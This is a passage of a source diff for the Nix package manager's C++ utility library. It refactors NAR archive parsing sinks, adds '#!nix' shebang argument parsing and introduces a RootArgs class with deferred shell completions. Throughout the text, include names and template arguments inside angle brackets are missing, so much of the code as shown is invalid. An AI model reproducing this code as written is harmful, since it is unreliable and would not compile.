'%1%'", p); - }; - - void createRegularFile(const Path & path) override - { - Path p = dstPath + path; - fd = open(p.c_str(), O_CREAT | O_EXCL | O_WRONLY | O_CLOEXEC, 0666); - if (!fd) throw SysError("creating file '%1%'", p); - } - - void closeRegularFile() override - { - /* Initiate an fsync operation without waiting for the result. The real fsync should be run before registering - a store path, but this is a performance optimization to allow the disk write to start early. */ - if (startFsync) - fd.startFsync(); - /* Call close explicitly to make sure the error is checked */ - fd.close(); - } - - void isExecutable() override - { - struct stat st; - if (fstat(fd.get(), &st) == -1) - throw SysError("fstat"); - if (fchmod(fd.get(), st.st_mode | (S_IXUSR | S_IXGRP | S_IXOTH)) == -1) - throw SysError("fchmod"); - } - - void preallocateContents(uint64_t len) override - { - if (!archiveSettings.preallocateContents) - return; - -#if HAVE_POSIX_FALLOCATE - if (len) { - errno = posix_fallocate(fd.get(), 0, len); - /* Note that EINVAL may indicate that the underlying - filesystem doesn't support preallocation (e.g. on - OpenSolaris). Since preallocation is just an - optimisation, ignore it. */ - if (errno && errno != EINVAL && errno != EOPNOTSUPP && errno != ENOSYS) - throw SysError("preallocating file of %1% bytes", len); - } -#endif - } - - void receiveContents(std::string_view data) override - { - writeFull(fd.get(), data); - } - - void createSymlink(const Path & path, const std::string & target) override - { - Path p = dstPath + path; - nix::createSymlink(target, p); - } -}; - - -void restorePath(const Path & path, Source & source, bool startFsync) -{ - RestoreSink sink { startFsync }; + RestoreSink sink{startFsync}; sink.dstPath = path; parseDump(sink, source); } @@ -387,7 +307,7 @@ void copyNAR(Source & source, Sink & sink) // FIXME: if 'source' is the output of dumpPath() followed by EOF, // we should just forward all data directly without parsing. - ParseSink parseSink; /* null sink; just parse the NAR */ + NullFileSystemObjectSink parseSink; /* just parse the NAR */ TeeSource wrapper { source, sink }; @@ -395,13 +315,4 @@ void copyNAR(Source & source, Sink & sink) } -void copyPath(const Path & from, const Path & to) -{ - auto source = sinkToSource([&](Sink & sink) { - dumpPath(from, sink); - }); - restorePath(to, *source); -} - - } diff --git a/src/libutil/archive.hh b/src/libutil/archive.hh index 64b3501b6..c38fa8a46 100644 --- a/src/libutil/archive.hh +++ b/src/libutil/archive.hh @@ -1,107 +1,87 @@ #pragma once +///@file #include "types.hh" #include "serialise.hh" +#include "fs-sink.hh" namespace nix { -/* dumpPath creates a Nix archive of the specified path. The format - is as follows: - - IF path points to a REGULAR FILE: - dump(path) = attrs( - [ ("type", "regular") - , ("contents", contents(path)) - ]) - - IF path points to a DIRECTORY: - dump(path) = attrs( - [ ("type", "directory") - , ("entries", concat(map(f, sort(entries(path))))) - ]) - where f(fn) = attrs( - [ ("name", fn) - , ("file", dump(path + "/" + fn)) - ]) - - where: - - attrs(as) = concat(map(attr, as)) + encN(0) - attrs((a, b)) = encS(a) + encS(b) - - encS(s) = encN(len(s)) + s + (padding until next 64-bit boundary) - - encN(n) = 64-bit little-endian encoding of n. - - contents(path) = the contents of a regular file. - - sort(strings) = lexicographic sort by 8-bit value (strcmp). - - entries(path) = the entries of a directory, without `.' and - `..'. - - `+' denotes string concatenation. */ - - +/** + * dumpPath creates a Nix archive of the specified path. + * + * @param path the file system data to dump. Dumping is recursive so if + * this is a directory we dump it and all its children. + * + * @param [out] sink The serialised archive is fed into this sink. + * + * @param filter Can be used to skip certain files. + * + * The format is as follows: + * + * ``` + * IF path points to a REGULAR FILE: + * dump(path) = attrs( + * [ ("type", "regular") + * , ("contents", contents(path)) + * ]) + * + * IF path points to a DIRECTORY: + * dump(path) = attrs( + * [ ("type", "directory") + * , ("entries", concat(map(f, sort(entries(path))))) + * ]) + * where f(fn) = attrs( + * [ ("name", fn) + * , ("file", dump(path + "/" + fn)) + * ]) + * + * where: + * + * attrs(as) = concat(map(attr, as)) + encN(0) + * attrs((a, b)) = encS(a) + encS(b) + * + * encS(s) = encN(len(s)) + s + (padding until next 64-bit boundary) + * + * encN(n) = 64-bit little-endian encoding of n. + * + * contents(path) = the contents of a regular file. + * + * sort(strings) = lexicographic sort by 8-bit value (strcmp). + * + * entries(path) = the entries of a directory, without `.` and + * `..`. + * + * `+` denotes string concatenation. + * ``` + */ void dumpPath(const Path & path, Sink & sink, PathFilter & filter = defaultPathFilter); -/* Same as `void dumpPath()`, but returns the last modified date of the path */ +/** + * Same as dumpPath(), but returns the last modified date of the path. + */ time_t dumpPathAndGetMtime(const Path & path, Sink & sink, PathFilter & filter = defaultPathFilter); +/** + * Dump an archive with a single file with these contents. + * + * @param s Contents of the file. + */ void dumpString(std::string_view s, Sink & sink); -/* FIXME: fix this API, it sucks. */ -struct ParseSink -{ - virtual void createDirectory(const Path & path) { }; +void parseDump(FileSystemObjectSink & sink, Source & source); - virtual void createRegularFile(const Path & path) { }; - virtual void closeRegularFile() { }; - virtual void isExecutable() { }; - virtual void preallocateContents(uint64_t size) { }; - virtual void receiveContents(std::string_view data) { }; +void restorePath(const std::filesystem::path & path, Source & source, bool startFsync = false); - virtual void createSymlink(const Path & path, const std::string & target) { }; -}; - -/* If the NAR archive contains a single file at top-level, then save - the contents of the file to `s'. Otherwise barf. */ -struct RetrieveRegularNARSink : ParseSink -{ - bool regular = true; - Sink & sink; - - RetrieveRegularNARSink(Sink & sink) : sink(sink) { } - - void createDirectory(const Path & path) override - { - regular = false; - } - - void receiveContents(std::string_view data) override - { - sink(data); - } - - void createSymlink(const Path & path, const std::string & target) override - { - regular = false; - } -}; - -void parseDump(ParseSink & sink, Source & source); - -void restorePath(const Path & path, Source & source, bool startFsync = false); - -/* Read a NAR from 'source' and write it to 'sink'. */ +/** + * Read a NAR from 'source' and write it to 'sink'. + */ void copyNAR(Source & source, Sink & sink); -void copyPath(const Path & from, const Path & to); - inline constexpr std::string_view narVersionMagic1 = "nix-archive-1"; diff --git a/src/libutil/args.cc b/src/libutil/args.cc index 753980fd4..d58f4b4ae 100644 --- a/src/libutil/args.cc +++ b/src/libutil/args.cc @@ -1,9 +1,17 @@ #include "args.hh" +#include "args/root.hh" #include "hash.hh" +#include "environment-variables.hh" +#include "signals.hh" +#include "users.hh" +#include "json-utils.hh" -#include - -#include +#include +#include +#include +#ifndef _WIN32 +# include +#endif namespace nix { @@ -27,24 +35,44 @@ void Args::removeFlag(const std::string & longName) longFlags.erase(flag); } +void Completions::setType(AddCompletions::Type t) +{ + type = t; +} + void Completions::add(std::string completion, std::string description) { - assert(description.find('\n') == std::string::npos); - insert(Completion { + description = trim(description); + // ellipsize overflowing content on the back of the description + auto end_index = description.find_first_of(".\n"); + if (end_index != std::string::npos) { + auto needs_ellipsis = end_index != description.size() - 1; + description.resize(end_index); + if (needs_ellipsis) + description.append(" [...]"); + } + completions.insert(Completion { .completion = completion, .description = description }); } -bool Completion::operator<(const Completion & other) const -{ return completion < other.completion || (completion == other.completion && description < other.description); } - -CompletionType completionType = ctNormal; -std::shared_ptr completions; +auto Completion::operator<=>(const Completion & other) const noexcept = default; std::string completionMarker = "___COMPLETE___"; -std::optional needsCompletion(std::string_view s) +RootArgs & Args::getRoot() +{ + Args * p = this; + while (p->parent) + p = p->parent; + + auto * res = dynamic_cast(p); + assert(res); + return *res; +} + +std::optional RootArgs::needsCompletion(std::string_view s) { if (!completions) return {}; auto i = s.find(completionMarker); @@ -53,7 +81,178 @@ std::optional needsCompletion(std::string_view s) return {}; } -void Args::parseCmdline(const Strings & _cmdline) +/** + * Basically this is `typedef std::optional Parser(std::string_view s, Strings & r);` + * + * Except we can't recursively reference the Parser typedef, so we have to write a class. + */ +struct Parser { + std::string_view remaining; + + /** + * @brief Parse the next character(s) + * + * @param r + * @return std::shared_ptr + */ + virtual void operator()(std::shared_ptr & state, Strings & r) = 0; + + Parser(std::string_view s) : remaining(s) {}; + + virtual ~Parser() { }; +}; + +struct ParseQuoted : public Parser { + /** + * @brief Accumulated string + * + * Parsed argument up to this point. + */ + std::string acc; + + ParseQuoted(std::string_view s) : Parser(s) {}; + + virtual void operator()(std::shared_ptr & state, Strings & r) override; +}; + + +struct ParseUnquoted : public Parser { + /** + * @brief Accumulated string + * + * Parsed argument up to this point. Empty string is not representable in + * unquoted syntax, so we use it for the initial state. + */ + std::string acc; + + ParseUnquoted(std::string_view s) : Parser(s) {}; + + virtual void operator()(std::shared_ptr & state, Strings & r) override { + if (remaining.empty()) { + if (!acc.empty()) + r.push_back(acc); + state = nullptr; // done + return; + } + switch (remaining[0]) { + case ' ': case '\t': case '\n': case '\r': + if (!acc.empty()) + r.push_back(acc); + state = std::make_shared(ParseUnquoted(remaining.substr(1))); + return; + case '`': + if (remaining.size() > 1 && remaining[1] == '`') { + state = std::make_shared(ParseQuoted(remaining.substr(2))); + return; + } + else + throw Error("single backtick is not a supported syntax in the nix shebang."); + + // reserved characters + // meaning to be determined, or may be reserved indefinitely so that + // #!nix syntax looks unambiguous + case '$': + case '*': + case '~': + case '<': + case '>': + case '|': + case ';': + case '(': + case ')': + case '[': + case ']': + case '{': + case '}': + case '\'': + case '"': + case '\\': + throw Error("unsupported unquoted character in nix shebang: " + std::string(1, remaining[0]) + ". Use double backticks to escape?"); + + case '#': + if (acc.empty()) { + throw Error ("unquoted nix shebang argument cannot start with #. Use double backticks to escape?"); + } else { + acc += remaining[0]; + remaining = remaining.substr(1); + return; + } + + default: + acc += remaining[0]; + remaining = remaining.substr(1); + return; + } + assert(false); + } +}; + +void ParseQuoted::operator()(std::shared_ptr &state, Strings & r) { + if (remaining.empty()) { + throw Error("unterminated quoted string in nix shebang"); + } + switch (remaining[0]) { + case ' ': + if ((remaining.size() == 3 && remaining[1] == '`' && remaining[2] == '`') + || (remaining.size() > 3 && remaining[1] == '`' && remaining[2] == '`' && remaining[3] != '`')) { + // exactly two backticks mark the end of a quoted string, but a preceding space is ignored if present. + state = std::make_shared(ParseUnquoted(remaining.substr(3))); + r.push_back(acc); + return; + } + else { + // just a normal space + acc += remaining[0]; + remaining = remaining.substr(1); + return; + } + case '`': + // exactly two backticks mark the end of a quoted string + if ((remaining.size() == 2 && remaining[1] == '`') + || (remaining.size() > 2 && remaining[1] == '`' && remaining[2] != '`')) { + state = std::make_shared(ParseUnquoted(remaining.substr(2))); + r.push_back(acc); + return; + } + + // a sequence of at least 3 backticks is one escape-backtick which is ignored, followed by any number of backticks, which are verbatim + else if (remaining.size() >= 3 && remaining[1] == '`' && remaining[2] == '`') { + // ignore "escape" backtick + remaining = remaining.substr(1); + // add the rest + while (remaining.size() > 0 && remaining[0] == '`') { + acc += '`'; + remaining = remaining.substr(1); + } + return; + } + else { + acc += remaining[0]; + remaining = remaining.substr(1); + return; + } + default: + acc += remaining[0]; + remaining = remaining.substr(1); + return; + } + assert(false); +} + +Strings parseShebangContent(std::string_view s) { + Strings result; + std::shared_ptr parserState(std::make_shared(ParseUnquoted(s))); + + // trampoline == iterated strategy pattern + while (parserState) { + auto currentState = parserState; + (*currentState)(parserState, result); + } + + return result; +} + +void RootArgs::parseCmdline(const Strings & _cmdline, bool allowShebang) { Strings pendingArgs; bool dashDash = false; @@ -64,11 +263,48 @@ void Args::parseCmdline(const Strings & _cmdline) size_t n = std::stoi(*s); assert(n > 0 && n <= cmdline.size()); *std::next(cmdline.begin(), n - 1) += completionMarker; - completions = std::make_shared(); + completions = std::make_shared(); verbosity = lvlError; } - bool argsSeen = false; + // Heuristic to see if we're invoked as a shebang script, namely, + // if we have at least one argument, it's the name of an + // executable file, and it starts with "#!". + Strings savedArgs; + if (allowShebang){ + auto script = *cmdline.begin(); + try { + std::ifstream stream(script); + char shebang[3]={0,0,0}; + stream.get(shebang,3); + if (strncmp(shebang,"#!",2) == 0){ + for (auto pos = std::next(cmdline.begin()); pos != cmdline.end();pos++) + savedArgs.push_back(*pos); + cmdline.clear(); + + std::string line; + std::getline(stream,line); + static const std::string commentChars("#/\\%@*-("); + std::string shebangContent; + while (std::getline(stream,line) && !line.empty() && commentChars.find(line[0]) != std::string::npos){ + line = chomp(line); + + std::smatch match; + // We match one space after `nix` so that we preserve indentation. + // No space is necessary for an empty line. An empty line has basically no effect. + if (std::regex_match(line, match, std::regex("^#!\\s*nix(:? |$)(.*)$"))) + shebangContent += match[2].str() + "\n"; + } + for (const auto & word : parseShebangContent(shebangContent)) { + cmdline.push_back(word); + } + cmdline.push_back(script); + commandBaseDir = dirOf(script); + for (auto pos = savedArgs.begin(); pos != savedArgs.end();pos++) + cmdline.push_back(*pos); + } + } catch (SystemError &) { } + } for (auto pos = cmdline.begin(); pos != cmdline.end(); ) { auto arg = *pos; @@ -97,10 +333,6 @@ void Args::parseCmdline(const Strings & _cmdline) throw UsageError("unrecognised flag '%1%'", arg); } else { - if (!argsSeen) { - argsSeen = true; - initialFlagsProcessed(); - } pos = rewriteArgs(cmdline, pos); pendingArgs.push_back(*pos++); if (processArgs(pendingArgs, false)) @@ -110,27 +342,60 @@ void Args::parseCmdline(const Strings & _cmdline) processArgs(pendingArgs, true); - if (!argsSeen) - initialFlagsProcessed(); + initialFlagsProcessed(); + + /* Now that we are done parsing, make sure that any experimental + * feature required by the flags is enabled */ + for (auto & f : flagExperimentalFeatures) + experimentalFeatureSettings.require(f); + + /* Now that all the other args are processed, run the deferred completions. + */ + for (auto d : deferredCompletions) + d.completer(*completions, d.n, d.prefix); +} + +Path Args::getCommandBaseDir() const +{ + assert(parent); + return parent->getCommandBaseDir(); +} + +Path RootArgs::getCommandBaseDir() const +{ + return commandBaseDir; } bool Args::processFlag(Strings::iterator & pos, Strings::iterator end) { assert(pos != end); + auto & rootArgs = getRoot(); + auto process = [&](const std::string & name, const Flag & flag) -> bool { ++pos; + + if (auto & f = flag.experimentalFeature) + rootArgs.flagExperimentalFeatures.insert(*f); + std::vector args; bool anyCompleted = false; for (size_t n = 0 ; n < flag.handler.arity; ++n) { if (pos == end) { if (flag.handler.arity == ArityAny || anyCompleted) break; - throw UsageError("flag '%s' requires %d argument(s)", name, flag.handler.arity); + throw UsageError( + "flag '%s' requires %d argument(s), but only %d were given", + name, flag.handler.arity, n); } - if (auto prefix = needsCompletion(*pos)) { + if (auto prefix = rootArgs.needsCompletion(*pos)) { anyCompleted = true; - if (flag.completer) - flag.completer(n, *prefix); + if (flag.completer) { + rootArgs.deferredCompletions.push_back({ + .completer = flag.completer, + .n = n, + .prefix = *prefix, + }); + } } args.push_back(*pos++); } @@ -140,11 +405,15 @@ bool Args::processFlag(Strings::iterator & pos, Strings::iterator end) }; if (std::string(*pos, 0, 2) == "--") { - if (auto prefix = needsCompletion(*pos)) { + if (auto prefix = rootArgs.needsCompletion(*pos)) { for (auto & [name, flag] : longFlags) { if (!hiddenCategories.count(flag->category) && hasPrefix(name, std::string(*prefix, 2))) - completions->add("--" + name, flag->description); + { + if (auto & f = flag->experimentalFeature) + rootArgs.flagExperimentalFeatures.insert(*f); + rootArgs.completions->add("--" + name, flag->description); + } } return false; } @@ -160,11 +429,12 @@ bool Args::processFlag(Strings::iterator & pos, Strings::iterator end) return process(std::string("-") + c, *i->second); } - if (auto prefix = needsCompletion(*pos)) { + if (auto prefix = rootArgs.needsCompletion(*pos)) { if (prefix == "-") { - completions->add("--"); + rootArgs.completions->add("--"); for (auto & [flagName, flag] : shortFlags) - completions->add(std::string("-") + flagName, flag->description); + if (experimentalFeatureSettings.isEnabled(flag->experimentalFeature)) + rootArgs.completions->add(std::string("-") + flagName, flag->description); } } @@ -179,6 +449,8 @@ bool Args::processArgs(const Strings & args, bool finish) return true; } + auto & rootArgs = getRoot(); + auto & exp = expectedArgs.front(); bool res = false; @@ -187,16 +459,35 @@ bool Args::processArgs(const Strings & args, bool finish) (exp.handler.arity != ArityAny && args.size() == exp.handler.arity)) { std::vector ss; + bool anyCompleted = false; for (const auto &[n, s] : enumerate(args)) { - if (auto prefix = needsCompletion(s)) { + if (auto prefix = rootArgs.needsCompletion(s)) { + anyCompleted = true; ss.push_back(*prefix); - if (exp.completer) - exp.completer(n, *prefix); + if (exp.completer) { + rootArgs.deferredCompletions.push_back({ + .completer = exp.completer, + .n = n, + .prefix = *prefix, + }); + } } else ss.push_back(s); } - exp.handler.fun(ss); - expectedArgs.pop_front(); + if (!anyCompleted) + exp.handler.fun(ss); + + /* Move the list element to the processedArgs. This is almost the same as + `processedArgs.push_back(expectedArgs.front()); expectedArgs.pop_front()`, + except that it will only adjust the next and prev pointers of the list + elements, meaning the actual contents don't move in memory. This is + critical to prevent invalidating internal pointers! */ + processedArgs.splice( + processedArgs.end(), + expectedArgs, + expectedArgs.begin(), + ++expectedArgs.begin()); + res = true; } @@ -212,6 +503,7 @@ nlohmann::json Args::toJSON() for (auto & [name, flag] : longFlags) { auto j = nlohmann::json::object(); + j["hiddenCategory"] = hiddenCategories.count(flag->category) > 0; if (flag->aliases.count(name)) continue; if (flag->shortName) j["shortName"] = std::string(1, flag->shortName); @@ -222,6 +514,7 @@ nlohmann::json Args::toJSON() j["arity"] = flag->handler.arity; if (!flag->labels.empty()) j["labels"] = flag->labels; + j["experimental-feature"] = flag->experimentalFeature; flags[name] = std::move(j); } @@ -245,42 +538,10 @@ nlohmann::json Args::toJSON() return res; } -static void hashTypeCompleter(size_t index, std::string_view prefix) +static void _completePath(AddCompletions & completions, std::string_view prefix, bool onlyDirs) { - for (auto & type : hashTypes) - if (hasPrefix(type, prefix)) - completions->add(type); -} - -Args::Flag Args::Flag::mkHashTypeFlag(std::string && longName, HashType * ht) -{ - return Flag { - .longName = std::move(longName), - .description = "hash algorithm ('md5', 'sha1', 'sha256', or 'sha512')", - .labels = {"hash-algo"}, - .handler = {[ht](std::string s) { - *ht = parseHashType(s); - }}, - .completer = hashTypeCompleter - }; -} - -Args::Flag Args::Flag::mkHashTypeOptFlag(std::string && longName, std::optional * oht) -{ - return Flag { - .longName = std::move(longName), - .description = "hash algorithm ('md5', 'sha1', 'sha256', or 'sha512'). Optional as can also be gotten from SRI hash itself.", - .labels = {"hash-algo"}, - .handler = {[oht](std::string s) { - *oht = std::optional { parseHashType(s) }; - }}, - .completer = hashTypeCompleter - }; -} - -static void _completePath(std::string_view prefix, bool onlyDirs) -{ - completionType = ctFilenames; + completions.setType(Completions::Type::Filenames); + #ifndef _WIN32 // TODO implement globbing completions on Windows glob_t globbuf; int flags = GLOB_NOESCAPE; #ifdef GLOB_ONLYDIR @@ -294,20 +555,21 @@ static void _completePath(std::string_view prefix, bool onlyDirs) auto st = stat(globbuf.gl_pathv[i]); if (!S_ISDIR(st.st_mode)) continue; } - completions->add(globbuf.gl_pathv[i]); + completions.add(globbuf.gl_pathv[i]); } } globfree(&globbuf); + #endif } -void completePath(size_t, std::string_view prefix) +void Args::completePath(AddCompletions & completions, size_t, std::string_view prefix) { - _completePath(prefix, false); + _completePath(completions, prefix, false); } -void completeDir(size_t, std::string_view prefix) +void Args::completeDir(AddCompletions & completions, size_t, std::string_view prefix) { - _completePath(prefix, true); + _completePath(completions, prefix, true); } Strings argvToStrings(int argc, char * * argv) @@ -318,13 +580,19 @@ Strings argvToStrings(int argc, char * * argv) return args; } -MultiCommand::MultiCommand(const Commands & commands_) +std::optional Command::experimentalFeature () +{ + return { Xp::NixCommand }; +} + +MultiCommand::MultiCommand(std::string_view commandName, const Commands & commands_) : commands(commands_) + , commandName(commandName) { expectArgs({ .label = "subcommand", .optional = true, - .handler = {[=](std::string s) { + .handler = {[=,this](std::string s) { assert(!command); auto i = commands.find(s); if (i == commands.end()) { @@ -337,10 +605,10 @@ MultiCommand::MultiCommand(const Commands & commands_) command = {s, i->second()}; command->second->parent = this; }}, - .completer = {[&](size_t, std::string_view prefix) { + .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { for (auto & [name, command] : commands) if (hasPrefix(name, prefix)) - completions->add(name); + completions.add(name); }} }); @@ -362,14 +630,6 @@ bool MultiCommand::processArgs(const Strings & args, bool finish) return Args::processArgs(args, finish); } -void MultiCommand::completionHook() -{ - if (command) - return command->second->completionHook(); - else - return Args::completionHook(); -} - nlohmann::json MultiCommand::toJSON() { auto cmds = nlohmann::json::object(); @@ -380,6 +640,7 @@ nlohmann::json MultiCommand::toJSON() auto cat = nlohmann::json::object(); cat["id"] = command->category(); cat["description"] = trim(categories[command->category()]); + cat["experimental-feature"] = command->experimentalFeature(); j["category"] = std::move(cat); cmds[name] = std::move(j); } diff --git a/src/libutil/args.hh b/src/libutil/args.hh index 84866f12b..c0236ee3d 100644 --- a/src/libutil/args.hh +++ b/src/libutil/args.hh @@ -1,45 +1,78 @@ #pragma once +///@file -#include +#include #include #include +#include #include -#include "util.hh" +#include "types.hh" +#include "experimental-features.hh" +#include "ref.hh" namespace nix { -enum HashType : char; +enum struct HashAlgorithm : char; +enum struct HashFormat : int; class MultiCommand; +class RootArgs; + +class AddCompletions; + class Args { + public: - /* Parse the command line, throwing a UsageError if something goes - wrong. */ - void parseCmdline(const Strings & cmdline); - - /* Return a short one-line description of the command. */ + /** + * Return a short one-line description of the command. + */ virtual std::string description() { return ""; } virtual bool forceImpureByDefault() { return false; } - /* Return documentation about this command, in Markdown format. */ + /** + * Return documentation about this command, in Markdown format. + */ virtual std::string doc() { return ""; } + /** + * @brief Get the [base directory](https://nixos.org/manual/nix/unstable/glossary#gloss-base-directory) for the command. + * + * @return Generally the working directory, but in case of a shebang + * interpreter, returns the directory of the script. + * + * This only returns the correct value after parseCmdline() has run. + */ + virtual Path getCommandBaseDir() const; + protected: + /** + * The largest `size_t` is used to indicate the "any" arity, for + * handlers/flags/arguments that accept an arbitrary number of + * arguments. + */ static const size_t ArityAny = std::numeric_limits::max(); + /** + * Arguments (flags/options and positional) have a "handler" which is + * caused when the argument is parsed. The handler has an arbitrary side + * effect, including possible affect further command-line parsing. + * + * There are many constructors in order to support many shorthand + * initializations, and this is used a lot. + */ struct Handler { std::function)> fun; size_t arity; - Handler() {} + Handler() = default; Handler(std::function)> && fun) : fun(std::move(fun)) @@ -66,29 +99,29 @@ protected: { } Handler(std::vector * dest) - : fun([=](std::vector ss) { *dest = ss; }) + : fun([dest](std::vector ss) { *dest = ss; }) , arity(ArityAny) { } Handler(std::string * dest) - : fun([=](std::vector ss) { *dest = ss[0]; }) + : fun([dest](std::vector ss) { *dest = ss[0]; }) , arity(1) { } Handler(std::optional * dest) - : fun([=](std::vector ss) { *dest = ss[0]; }) + : fun([dest](std::vector ss) { *dest = ss[0]; }) , arity(1) { } template Handler(T * dest, const T & val) - : fun([=](std::vector ss) { *dest = val; }) + : fun([dest, val](std::vector ss) { *dest = val; }) , arity(0) { } template Handler(I * dest) - : fun([=](std::vector ss) { + : fun([dest](std::vector ss) { *dest = string2IntWithUnitPrefix(ss[0]); }) , arity(1) @@ -96,17 +129,43 @@ protected: template Handler(std::optional * dest) - : fun([=](std::vector ss) { + : fun([dest](std::vector ss) { *dest = string2IntWithUnitPrefix(ss[0]); }) , arity(1) { } }; - /* Options. */ + /** + * The basic function type of the completion callback. + * + * Used to define `CompleterClosure` and some common case completers + * that individual flags/arguments can use. + * + * The `AddCompletions` that is passed is an interface to the state + * stored as part of the root command + */ + using CompleterFun = void(AddCompletions &, size_t, std::string_view); + + /** + * The closure type of the completion callback. + * + * This is what is actually stored as part of each Flag / Expected + * Arg. + */ + using CompleterClosure = std::function; + +public: + + /** + * Description of flags / options + * + * These are arguments like `-s` or `--long` that can (mostly) + * appear in any order. + */ struct Flag { - typedef std::shared_ptr ptr; + using ptr = std::shared_ptr; std::string longName; std::set aliases; @@ -115,28 +174,79 @@ protected: std::string category; Strings labels; Handler handler; - std::function completer; + CompleterClosure completer; - static Flag mkHashTypeFlag(std::string && longName, HashType * ht); - static Flag mkHashTypeOptFlag(std::string && longName, std::optional * oht); + std::optional experimentalFeature; }; +protected: + + /** + * Index of all registered "long" flag descriptions (flags like + * `--long`). + */ std::map longFlags; + + /** + * Index of all registered "short" flag descriptions (flags like + * `-s`). + */ std::map shortFlags; + /** + * Process a single flag and its arguments, pulling from an iterator + * of raw CLI args as needed. + */ virtual bool processFlag(Strings::iterator & pos, Strings::iterator end); - /* Positional arguments. */ +public: + + /** + * Description of positional arguments + * + * These are arguments that do not start with a `-`, and for which + * the order does matter. + */ struct ExpectedArg { std::string label; bool optional = false; Handler handler; - std::function completer; + CompleterClosure completer; }; - std::list expectedArgs; +protected: + /** + * Queue of expected positional argument forms. + * + * Positional argument descriptions are inserted on the back. + * + * As positional arguments are passed, these are popped from the + * front, until there are hopefully none left as all args that were + * expected in fact were passed. + */ + std::list expectedArgs; + /** + * List of processed positional argument forms. + * + * All items removed from `expectedArgs` are added here. After all + * arguments were processed, this list should be exactly the same as + * `expectedArgs` was before. + * + * This list is used to extend the lifetime of the argument forms. + * If this is not done, some closures that reference the command + * itself will segfault. + */ + std::list processedArgs; + + /** + * Process some positional arugments + * + * @param finish: We have parsed everything else, and these are the only + * arguments left. Used because we accumulate some "pending args" we might + * have left over. + */ virtual bool processArgs(const Strings & args, bool finish); virtual Strings::iterator rewriteArgs(Strings & args, Strings::iterator pos) @@ -144,15 +254,12 @@ protected: std::set hiddenCategories; - /* Called after all command line flags before the first non-flag - argument (if any) have been processed. */ + /** + * Called after all command line flags before the first non-flag + * argument (if any) have been processed. + */ virtual void initialFlagsProcessed() {} - /* Called after the command line has been processed if we need to generate - completions. Useful for commands that need to know the whole command line - in order to know what completions to generate. */ - virtual void completionHook() { } - public: void addFlag(Flag && flag); @@ -164,7 +271,9 @@ public: expectedArgs.emplace_back(std::move(arg)); } - /* Expect a string argument. */ + /** + * Expect a string argument. + */ void expectArg(const std::string & label, std::string * dest, bool optional = false) { expectArgs({ @@ -174,7 +283,9 @@ public: }); } - /* Expect 0 or more arguments. */ + /** + * Expect 0 or more arguments. + */ void expectArgs(const std::string & label, std::vector * dest) { expectArgs({ @@ -183,35 +294,62 @@ public: }); } + static CompleterFun completePath; + + static CompleterFun completeDir; + virtual nlohmann::json toJSON(); friend class MultiCommand; + /** + * The parent command, used if this is a subcommand. + * + * Invariant: An Args with a null parent must also be a RootArgs + * + * \todo this would probably be better in the CommandClass. + * getRoot() could be an abstract method that peels off at most one + * layer before recuring. + */ MultiCommand * parent = nullptr; + + /** + * Traverse parent pointers until we find the \ref RootArgs "root + * arguments" object. + */ + RootArgs & getRoot(); }; -/* A command is an argument parser that can be executed by calling its - run() method. */ +/** + * A command is an argument parser that can be executed by calling its + * run() method. + */ struct Command : virtual public Args { friend class MultiCommand; - virtual ~Command() { } + virtual ~Command() = default; - virtual void prepare() { }; + /** + * Entry point to the command + */ virtual void run() = 0; - typedef int Category; + using Category = int; static constexpr Category catDefault = 0; + virtual std::optional experimentalFeature(); + virtual Category category() { return catDefault; } }; -typedef std::map()>> Commands; +using Commands = std::map()>>; -/* An argument parser that supports multiple subcommands, - i.e. ‘ ’. */ +/** + * An argument parser that supports multiple subcommands, + * i.e. ‘ ’. + */ class MultiCommand : virtual public Args { public: @@ -219,18 +357,21 @@ public: std::map categories; - // Selected command, if any. + /** + * Selected command, if any. + */ std::optional>> command; - MultiCommand(const Commands & commands); + MultiCommand(std::string_view commandName, const Commands & commands); bool processFlag(Strings::iterator & pos, Strings::iterator end) override; bool processArgs(const Strings & args, bool finish) override; - void completionHook() override; - nlohmann::json toJSON() override; + +protected: + std::string commandName = ""; }; Strings argvToStrings(int argc, char * * argv); @@ -239,25 +380,44 @@ struct Completion { std::string completion; std::string description; - bool operator<(const Completion & other) const; + auto operator<=>(const Completion & other) const noexcept; }; -class Completions : public std::set { + +/** + * The abstract interface for completions callbacks + * + * The idea is to restrict the callback so it can only add additional + * completions to the collection, or set the completion type. By making + * it go through this interface, the callback cannot make any other + * changes, or even view the completions / completion type that have + * been set so far. + */ +class AddCompletions +{ public: - void add(std::string completion, std::string description = ""); + + /** + * The type of completion we are collecting. + */ + enum class Type { + Normal, + Filenames, + Attrs, + }; + + /** + * Set the type of the completions being collected + * + * \todo it should not be possible to change the type after it has been set. + */ + virtual void setType(Type type) = 0; + + /** + * Add a single completion to the collection + */ + virtual void add(std::string completion, std::string description = "") = 0; }; -extern std::shared_ptr completions; -enum CompletionType { - ctNormal, - ctFilenames, - ctAttrs -}; -extern CompletionType completionType; - -std::optional needsCompletion(std::string_view s); - -void completePath(size_t, std::string_view prefix); - -void completeDir(size_t, std::string_view prefix); +Strings parseShebangContent(std::string_view s); } diff --git a/src/libutil/args/root.hh b/src/libutil/args/root.hh new file mode 100644 index 000000000..34a43b538 --- /dev/null +++ b/src/libutil/args/root.hh @@ -0,0 +1,85 @@ +#pragma once + +#include "args.hh" + +namespace nix { + +/** + * The concrete implementation of a collection of completions. + * + * This is exposed so that the main entry point can print out the + * collected completions. + */ +struct Completions final : AddCompletions +{ + std::set completions; + Type type = Type::Normal; + + void setType(Type type) override; + void add(std::string completion, std::string description = "") override; +}; + +/** + * The outermost Args object. This is the one we will actually parse a command + * line with, whereas the inner ones (if they exists) are subcommands (and this + * is also a MultiCommand or something like it). + * + * This Args contains completions state shared between it and all of its + * descendent Args. + */ +class RootArgs : virtual public Args +{ +protected: + /** + * @brief The command's "working directory", but only set when top level. + * + * Use getCommandBaseDir() to get the directory regardless of whether this + * is a top-level command or subcommand. + * + * @see getCommandBaseDir() + */ + Path commandBaseDir = "."; + +public: + /** Parse the command line, throwing a UsageError if something goes + * wrong. + */ + void parseCmdline(const Strings & cmdline, bool allowShebang = false); + + std::shared_ptr completions; + + Path getCommandBaseDir() const override; + +protected: + + friend class Args; + + /** + * A pointer to the completion and its two arguments; a thunk; + */ + struct DeferredCompletion { + const CompleterClosure & completer; + size_t n; + std::string prefix; + }; + + /** + * Completions are run after all args and flags are parsed, so completions + * of earlier arguments can benefit from later arguments. + */ + std::vector deferredCompletions; + + /** + * Experimental features needed when parsing args. These are checked + * after flag parsing is completed in order to support enabling + * experimental features coming after the flag that needs the + * experimental feature. + */ + std::set flagExperimentalFeatures; 